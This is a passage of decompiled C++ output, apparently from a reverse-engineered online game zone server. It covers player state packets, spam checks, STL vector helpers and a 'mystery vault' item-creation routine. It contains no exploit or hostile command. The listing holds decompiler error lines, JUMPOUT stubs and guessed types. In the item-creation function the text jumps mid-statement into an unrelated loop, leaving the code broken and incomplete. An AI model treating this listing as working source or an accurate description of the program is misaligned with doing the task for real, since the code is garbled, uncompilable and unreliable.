"ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 16423; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v5[8] = *(_BYTE *)(netcmd + 2); *((_BYTE *)v4 + 92688) = *(_BYTE *)(netcmd + 2); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_NC_CHARSAVE_UI_STATE_SAVE_REQ : Packet Too Long", 9); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MISC_DB_UI_STATE_SAVE_REQ"); } //----- (005008A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SingleOptionSave2World(void *this) { char *v1; // esi@1 void *v2; // edi@1 ZoneBaseSession *v3; // eax@3 v1 = gpp.pp_Buffer; v2 = this; *(_WORD *)gpp.pp_Buffer = 16426; *((_WORD *)v1 + 1) = (*(int (**)(void))(*(_DWORD *)this + 832))(); *((_DWORD *)v1 + 1) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 836))(v2); v1[12] = *(_BYTE *)(*(_DWORD *)((char *)v2 + 32047) + 142); v1[13] = *((_BYTE *)v2 + 92688); *((_DWORD *)v1 + 2) = 0; *(_DWORD *)(v1 + 14) = *((_DWORD *)v2 + 23175); v1[18] = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 19) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SingleOptionSave2World : Packet Too Long", 19); } } //----- (00500940) -------------------------------------------------------- KQContribute::PlayerContribute *__cdecl std::copy_backward(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Dest) { KQContribute::PlayerContribute *v3; // ecx@1 KQContribute::PlayerContribute *result; // eax@1 unsigned int v5; // esi@2 v3 = _Last; for ( result = _Dest; v3 != _First; result->pc_MobKillNumber = v3->pc_MobKillNumber ) { v5 = v3[-1].pc_ChrRegNum; --v3; --result; result->pc_ChrRegNum = v5; } return result; } //----- (00500970) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SpamCheck(void *this) { int v1; // esi@1 unsigned int v2; // edi@1 char v3; // bl@1 unsigned __int16 v4; // bp@1 char result; // al@2 int v6; // ecx@3 int v7; // edx@3 int v8; // eax@3 unsigned int v9; // ecx@3 v1 = (int)this; v2 = clockwatch.cw_CurrTick; v3 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(&SpamerPenaltyData); v4 = SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(&SpamerPenaltyData); if ( *(_DWORD *)(v1 + 92672) <= v2 ) { v6 = 4 * *(_DWORD *)(v1 + 92668); *(_DWORD *)(v6 + *(_DWORD *)(v1 + 92664)) = v2; v7 = (*(_DWORD *)(v1 + 92668) + 1) % (unsigned __int8)v3; v8 = *(_DWORD *)(v1 + 92664); *(_DWORD *)(v1 + 92668) = v7; v9 = *(_DWORD *)(v8 + v6); if ( v9 && v9 <= *(_DWORD *)(v8 + 4 * v7) + (unsigned int)v4 ) { ShineObjectClass::ShinePlayer::sp_SpamSetBlock((void *)v1, v2); result = 1; } else { result = 0; } } else { ShineObjectClass::ShinePlayer::sp_SpamSendBlockTimeToClient(v1); result = 1; } return result; } //----- (00500A00) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerContribute *_First, unsigned int _Count, KQContribute::PlayerContribute *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 KQContribute::PlayerContribute *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->pc_ChrRegNum = _Val->pc_ChrRegNum; v6->pc_MobKillNumber = _Val->pc_MobKillNumber; } ++v6; --v5; } while ( v5 ); } } //----- (00500A30) -------------------------------------------------------- KQContribute::PlayerContribute *__cdecl std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>(std::vector >::const_iterator _First, std::vector >::const_iterator _Last, KQContribute::PlayerContribute *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { std::vector >::const_iterator v5; // ecx@1 KQContribute::PlayerContribute *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->pc_ChrRegNum = **(_DWORD **)&v5; result->pc_MobKillNumber = *(_DWORD *)(*(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 8; } return result; } //----- (00500A60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_SetCaptivate(void *this, char bValue) { void *v2; // esi@1 void *v3; // eax@3 int v4; // eax@4 void *v5; // edi@7 v2 = this; ShineObjectClass::ShineMobileObject::smo_SetCaptivate(this, bValue); if ( bValue ) { if ( !*((_DWORD *)v2 + 23142) ) { v3 = operator new(0x318u); if ( v3 ) MobTacticElement::MobActionArgument::MobActionArgument((MobTacticElement::MobActionArgument *)v3); else v4 = 0; *((_DWORD *)v2 + 23142) = v4; *(_DWORD *)(v4 + 788) = &MobTacticElement::MobActionArgument::Actor::targetting; *(_DWORD *)(*((_DWORD *)v2 + 23142) + 4) = v2; *(_DWORD *)(*((_DWORD *)v2 + 23142) + 624) = (*(int (__thiscall **)(char *, void *, int))(*((_DWORD *)v2 + 23143) + 16))( (char *)v2 + 92572, v2, *((_DWORD *)v2 + 23142) + 8); MobTacticElement::MobActionArgument::Actor::SetTargetPoint( (MobTacticElement::MobActionArgument::Actor *)(*((_DWORD *)v2 + 23142) + 628), (#331 **)v2 + 23165); } } else { v5 = (void *)*((_DWORD *)v2 + 23142); if ( v5 ) { MobTacticElement::MobActionArgument::_MobActionArgument(*((MobTacticElement::MobActionArgument **)v2 + 23142)); operator delete(v5); *((_DWORD *)v2 + 23142) = 0; } } } //----- (00500B70) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00500BE0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00500C50) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ShineObjectClass::ListUp *_Val) { int v4; // edx@1 std::vector > *v5; // esi@1 ShineObjectClass::ListUp *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::const_iterator v15; // ST14_4@25 ShineObjectClass::ListUp *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::const_iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 KQContribute::PlayerContribute *v24; // ST20_4@32 int v25; // ebx@32 KQContribute::PlayerContribute *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 KQContribute::PlayerContribute *_Valb; // [sp+38h] [bp+10h]@25 KQContribute::PlayerContribute *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->nLot; v5 = this; _Tmp = *(_DWORD *)&_Val->Itemid; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (KQContribute::PlayerContribute *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)v20, v19, (KQContribute::PlayerContribute *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (KQContribute::PlayerContribute *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (KQContribute::PlayerContribute *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (ShineObjectClass::ListUp *)v25; std::fill( *(KQContribute::PlayerContribute **)&v20, (KQContribute::PlayerContribute *)(v25 - _Wherea), (KQContribute::PlayerContribute *)&_Tmp); } else { v26 = (KQContribute::PlayerContribute *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (ShineObjectClass::ListUp *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - v22), v19, *(KQContribute::PlayerContribute **)&v19, (std::allocator *)v5, v27); std::copy_backward( *(KQContribute::PlayerContribute **)&v20, v26, _Vala); std::fill( *(KQContribute::PlayerContribute **)&v20, (KQContribute::PlayerContribute *)(*(_DWORD *)&v20 + _Wherea), (KQContribute::PlayerContribute *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::const_iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::const_iterator)_Where, (KQContribute::PlayerContribute *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (KQContribute::PlayerContribute *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)_Where, (std::vector >::const_iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (ShineObjectClass::ListUp *)((char *)v14 + _Counta); v5->_Mylast = (ShineObjectClass::ListUp *)((char *)v14 + 8 * v18); v5->_Myfirst = (ShineObjectClass::ListUp *)v14; } } } //----- (00500EA0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 ShineObjectClass::ListUp *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::const_iterator v8; // ST04_4@7 std::vector >::const_iterator v9; // ST00_4@7 ShineObjectClass::ListUp *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::const_iterator)v2->_Mylast; v9 = (std::vector >::const_iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (KQContribute::PlayerContribute *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (ShineObjectClass::ListUp *)((char *)v7 + _Counta); v2->_Mylast = (ShineObjectClass::ListUp *)((char *)v7 + 8 * v4); v2->_Myfirst = (ShineObjectClass::ListUp *)v7; } } //----- (00500F5A) -------------------------------------------------------- void __usercall _L161920(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (00500F70) -------------------------------------------------------- ShineObjectClass::ListUp *__thiscall std::vector>::at(std::vector > *this, unsigned int _Pos) { ShineObjectClass::ListUp *v2; // edx@1 v2 = this->_Myfirst; if ( !v2 || this->_Mylast - v2 <= _Pos ) std::vector>::_Xran(this); return &v2[_Pos]; } //----- (00500FA0) -------------------------------------------------------- #error "500FA0: undefined or illegal type '#331' (funcsize=84)" //----- (005010D0) -------------------------------------------------------- #error "5010D0: undefined or illegal type '#331' (funcsize=74)" //----- (005011C0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ShineObjectClass::ListUp *_Val) { std::vector > *v2; // esi@1 ShineObjectClass::ListUp *v3; // edx@1 signed int v4; // ecx@2 ShineObjectClass::ListUp *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( (KQContribute::PlayerContribute *)v2->_Mylast, 1u, (KQContribute::PlayerContribute *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (00501230) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_CLIENT_AUTO_PICK_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int result; // eax@3 v4 = this; if ( !(_S8_15 & 1) ) { _S8_15 |= 1u; cmc_78.cmc_AllowMode = 70; atexit(_E9_14); } result = *((_DWORD *)v4 + 929); if ( (1 << *(_BYTE *)result) & cmc_78.cmc_AllowMode ) { *(_WORD *)(*(_DWORD *)((char *)v4 + 32047) + 78) = -1; result = ShineObjectClass::ShinePlayer::sp_SetAutoPick(v4, *(_BYTE *)(netcmd + 2)); } return result; } // 5010D0: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_SetAutoPick(_DWORD, _DWORD); //----- (005012A0) -------------------------------------------------------- void __userpurge ShineObjectClass::ShinePlayer::sp_MysteryVaultMakeItem(int a1, int a2, int itm, int pError) { int v4; // ebp@1 void *v5; // edi@1 int v6; // ebx@1 unsigned __int16 v7; // si@5 std::_Tree,std::allocator >,1> >::iterator v8; // eax@7 int v9; // edi@8 char v10; // al@10 unsigned __int16 v11; // ax@12 void *v12; // esi@18 ChargedEffectContainer *v13; // eax@25 int v14; // eax@25 InventoryLocking::InventoryCellLock *v15; // eax@25 int v16; // edi@28 int v17; // eax@28 int v18; // ebp@28 int v19; // esi@30 unsigned __int16 v20; // bp@34 int v21; // ST24_4@34 CServerInfo::MY_SERVER *v22; // eax@34 ItemAttributeClass *v23; // ebp@34 ItemDataBox::ItemDataBoxIndex *v24; // eax@34 ItemInfoServer *v25; // eax@35 char *v26; // eax@36 ItemRandomOption::RandomOptionDatum *v27; // edi@37 ItemOptionStorage *v28; // eax@37 ItemAttributeClassVtbl *v29; // edi@40 int v30; // eax@40 int v31; // ecx@40 int v32; // eax@40 __int16 v33; // dx@40 char *v34; // eax@40 void *v35; // eax@40 ItemInventoryCell *v36; // ST18_4@40 int v37; // edx@40 int v38; // eax@40 int v39; // eax@40 int v40; // ST24_4@43 int v41; // esi@44 ZoneBaseSession *v42; // eax@46 int v43; // [sp+28h] [bp-FCh]@5 unsigned int i; // [sp+38h] [bp-ECh]@30 int _Pos; // [sp+3Ch] [bp-E8h]@19 std::_Tree,std::allocator >,1> >::iterator loweriter; // [sp+40h] [bp-E4h]@5 int MakeitemID; // [sp+44h] [bp-E0h]@34 char *pAttrblock; // [sp+48h] [bp-DCh]@30 std::_Tree,std::allocator >,1> >::iterator Upperiter; // [sp+4Ch] [bp-D8h]@5 int v50; // [sp+50h] [bp-D4h]@28 int vecMakeItem; // [sp+54h] [bp-D0h]@7 void *this; // [sp+58h] [bp-CCh]@7 int v53; // [sp+5Ch] [bp-C8h]@7 int v54; // [sp+60h] [bp-C4h]@7 ItemInventoryCell *cell; // [sp+64h] [bp-C0h]@14 int v56; // [sp+68h] [bp-BCh]@14 char uii; // [sp+6Ch] [bp-B8h]@25 int v58; // [sp+74h] [bp-B0h]@40 int v59; // [sp+78h] [bp-ACh]@28 ItemBoxIterEmpty ibie; // [sp+7Ch] [bp-A8h]@25 ItemBoxIterItemRegNo FindItem; // [sp+8Ch] [bp-98h]@28 int iti; // [sp+A4h] [bp-80h]@34 int v63; // [sp+A8h] [bp-7Ch]@40 unsigned __int16 v64; // [sp+ACh] [bp-78h]@34 char v65; // [sp+B0h] [bp-74h]@37 unsigned int v66; // [sp+114h] [bp-10h]@48 int v67; // [sp+120h] [bp-4h]@7 v4 = pError; v5 = 0; v6 = a1; if ( !pError ) goto LABEL_48; *(_WORD *)pError = 1792; if ( !itm ) { *(_WORD *)pError = 1794; goto LABEL_48; } v43 = a2; v7 = *(_WORD *)(itm + 8); MysteryVaultTable::Getloweriter(&loweriter, *(_WORD *)(itm + 8)); MysteryVaultTable::GetUpperiter(&Upperiter, v7); if ( loweriter == Upperiter ) { AssertClass::ac_AssertFail(&shineassert, "MysteryBoltTable::ItemBoxOpen Not Register ItemId :", v7); *(_WORD *)pError = 1828; goto LABEL_48; } this = 0; v53 = 0; v54 = 0; v67 = 0; std::vector>::reserve( (std::vector > *)&vecMakeItem, 0xAu); v8 = loweriter; if ( loweriter != Upperiter ) { do { v9 = *(_DWORD *)(*(_DWORD *)&v8 + 16); if ( v9 ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1224))(v6); if ( MysteryVaultTable::IsCheckClassType(*(ChrClassType *)(v9 + 32), v10) && *(_WORD *)(v9 + 69) >= RandomBox::rb_1000(&rndbox) ) { v11 = ItemDataBox::idb_2itemid(&itemdatabox, (const char *)(v9 + 36)); if ( v11 == -1 ) { AssertClass::ac_AssertFail(&shineassert, " MysteryBoltTable::ItemBoxOpen :", (const char *)(v9 + 36)); } else { v56 = *(_BYTE *)(v9 + 68); LOWORD(cell) = v11; std::vector>::push_back( (std::vector > *)&vecMakeItem, (ShineObjectClass::ListUp *)&cell); } v4 = pError; } } else { AssertClass::ac_AssertFail(&shineassert, "MysteryBoltTable::ItemBoxOpen NULL", 0); } std::_Tree_std::allocator>_1>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&loweriter); v8 = loweriter; } while ( loweriter != Upperiter ); v5 = 0; } v12 = this; if ( this == v5 || (_Pos = (v53 - (signed int)this) >> 3, (void *)((v53 - (signed int)this) >> 3) == v5) ) { *(_WORD *)v4 = 1828; if ( v12 != v5 ) operator delete(v12); goto LABEL_48; } if ( ShineObjectClass::ShinePlayer::sp_GetEmptyItemInventoryCount(v6) < _Pos ) { *(_WORD *)v4 = 1827; operator delete(v12); goto LABEL_48; } v13 = (ChargedEffectContainer *)(*(int (__thiscall **)(int))(*(_DWORD *)v6 + 1156))(v6); ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)(v6 + 35568), v13); v14 = *(_DWORD *)v6; LOBYTE(v67) = 1; v15 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(int))(v14 + 1916))(v6); InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator( (InventoryLocking::UnlockedInventoryIterator *)&uii, 9, &ibie.baseclass_0, v15); LOBYTE(v67) = 2; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { *(_WORD *)v4 = 1827; LABEL_27: LOBYTE(v67) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); LOBYTE(v67) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibie); std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_Xran((std::vector > *)&vecMakeItem); v20 = *((_WORD *)this + 4 * i); MakeitemID = *((_WORD *)this + 4 * i); v21 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v22 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, 2, v22->nZoneNo, v21); v64 = v20; v23 = ItemAttributeClassContainer::operator__(&itmattcontainer, v20); ((void (__thiscall *)(ItemAttributeClass *, int, int *, MobTargetSelector::__unnamed *, int))v23->vfptr->iac_itemcreate)( v23, MakeitemID, &iti, &stru_598DE4.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current, v43); v24 = ItemDataBox::operator__(&itemdatabox, (unsigned __int16)pAttrblock); if ( !v24 || (v25 = v24->dataserv) == 0 || (v26 = v25->RandomOptionDropGroup) == 0 ) { (*(void (__cdecl **)(_DWORD))(*(_DWORD *)vecMakeItem + 32))(*(_WORD *)(v16 + 8)); v40 = (unsigned __int16)MakeitemID; *(_WORD *)pError = 1793; AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_MysteryVaultMakeItem Not Make ItemID : ", v40); LOBYTE(v67) = 2; ItemBoxIterator::_ItemBoxIterator(&FindItem); goto LABEL_27; } v27 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v26); v28 = v23->vfptr->iac_GetItemOptionStruct(v23, (SHINE_ITEM_STRUCT *)&v65); if ( v27 && v28 ) ItemRandomOption::RandomOptionTable::rot_FillOption(&itemrandomoptiontable, v28, v27); v29 = v23->vfptr; v43 = std::vector>::at( (std::vector > *)&this, _Pos)->nLot; ((void (__thiscall *)(ItemAttributeClass *, char *))v29->iac_SetLot)(v23, &v65); *(_DWORD *)(v19 - 12) = (*(int (__thiscall **)(int))(*(_DWORD *)v6 + 836))(v6); v30 = *(_DWORD *)(v6 + 98); *(_DWORD *)(v19 - 8) = *(_DWORD *)v30; *(_DWORD *)(v19 - 4) = *(_DWORD *)(v30 + 4); *(_DWORD *)v19 = *(_DWORD *)(v30 + 8); v31 = *(_DWORD *)(v6 + 78); *(_DWORD *)(v19 + 4) = *(_DWORD *)v31; v32 = *(_DWORD *)(v31 + 4); LOWORD(v31) = *(_WORD *)(v19 + 12); *(_DWORD *)(v19 + 8) = v32; *(_WORD *)(v19 + 12) = v31 & 0x3FF | 0x2400; *(_WORD *)(v19 + 12) ^= (InventoryLocking::UnlockedInventoryIterator::uii_Slot((InventoryLocking::UnlockedInventoryIterator *)&uii) ^ *(_WORD *)(v19 + 12)) & 0x3FF; v33 = MakeitemID; *(_DWORD *)(v19 + 14) = iti; v34 = pAttrblock; *(_DWORD *)(v19 + 18) = v63; *(_WORD *)(v19 + 22) = v33; *(_WORD *)(v19 + 24) = (_WORD)v34 - v59 - 2; v35 = v23->vfptr->iac_fill2buffer(v23, (SHINE_ITEM_STRUCT *)&v64, v34); v18 = v50; pAttrblock = (char *)v35; v36 = cell; v37 = *(_DWORD *)v6; cell = *(ItemInventoryCell **)v50; v38 = (*(int (__thiscall **)(int, ItemInventoryCell *, int *, int, int))(v37 + 1916))( v6, v36, &iti, v19 + 12, v19 + 12); LOWORD(v39) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v38); (*(void (__thiscall **)(int, int))(v58 + 48))(v18, v39); InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii); v16 = v59; ++i; v19 += 38; } InventoryLocking::InventoryCellLock::icl_IncIndex((InventoryLocking::InventoryCellLock *)v18); v41 = (int)&pAttrblock[-v16]; if ( ProtocolPacket::pp_SetPacketLen(&gpp, (int)&pAttrblock[-v16]) ) { v42 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v42); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_MysteryVaultMakeItem : Packet Too Long", v41); } LOBYTE(v67) = 2; ItemBoxIterator::_ItemBoxIterator(&FindItem); LOBYTE(v67) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&uii); LOBYTE(v67) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibie); operator delete(this); LABEL_48: __security_check_cookie(v66); } // 5012A0: could not find valid save-restore pair for esi //----- (00501900) -------------------------------------------------------- char __thiscall FieldMap::fm_IsInFieldSize(int this, int xy) { JUMPOUT( *(_DWORD *)xy, *(_DWORD *)(this + 24), Concurrency::_Order_node_base::reserve_message); JUMPOUT( *(_DWORD *)(xy + 4), *(_DWORD *)(this + 28), Concurrency::_Order_node_base::reserve_message); return 1; } // 501918: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00501920) -------------------------------------------------------- #error "501920: undefined or illegal type '#440' (funcsize=15)" //----- (00501950) -------------------------------------------------------- void __thiscall CeaseFireSender::cfs_Send(CeaseFireSender *this) { this->cfs_Flag = 1; } //----- (00501960) -------------------------------------------------------- #error "501960: undefined or illegal type '#440' (funcsize=44)" //----- (00501A00) -------------------------------------------------------- void __thiscall AxialListMagicFieldDamage::AxialListMagicFieldDamage(AxialListMagicFieldDamage *this, ShineObjectClass::ShineMagicField::MagicFieldOwnerInform *owner, char battlefield, char guildwar, SHINE_XY_TYPE *center) { AxialListMagicFieldDamage *v5; // esi@1 v5 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v5->almfd_Owner = owner; v5->slmfd_FieldCenter = center; v5->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldDamage::_vftable_; v5->almfd_BattleField = battlefield; v5->slmfd_GuildWarMap = guildwar; } // 5CAA04: using guessed type int (__stdcall *AxialListMagicFieldDamage___vftable_)(int, int, int distancesquar); //----- (00501A40) -------------------------------------------------------- void __thiscall AxialListMagicFieldDamage::_AxialListMagicFieldDamage(AxialListMagicFieldDamage *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMagicFieldDamage::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5CAA04: using guessed type int (__stdcall *AxialListMagicFieldDamage___vftable_)(int, int, int distancesquar); //----- (00501A50) -------------------------------------------------------- #error "501A50: undefined or illegal type '#331' (funcsize=17)" //----- (00501A90) -------------------------------------------------------- void __thiscall AxialListRescueRequest::_AxialListRescueRequest(AxialListRescueRequest *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListRescueRequest::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5CAA0C: using guessed type int (__stdcall *AxialListRescueRequest___vftable_)(int, int, int distancesquar); //----- (00501AA0) -------------------------------------------------------- int __thiscall 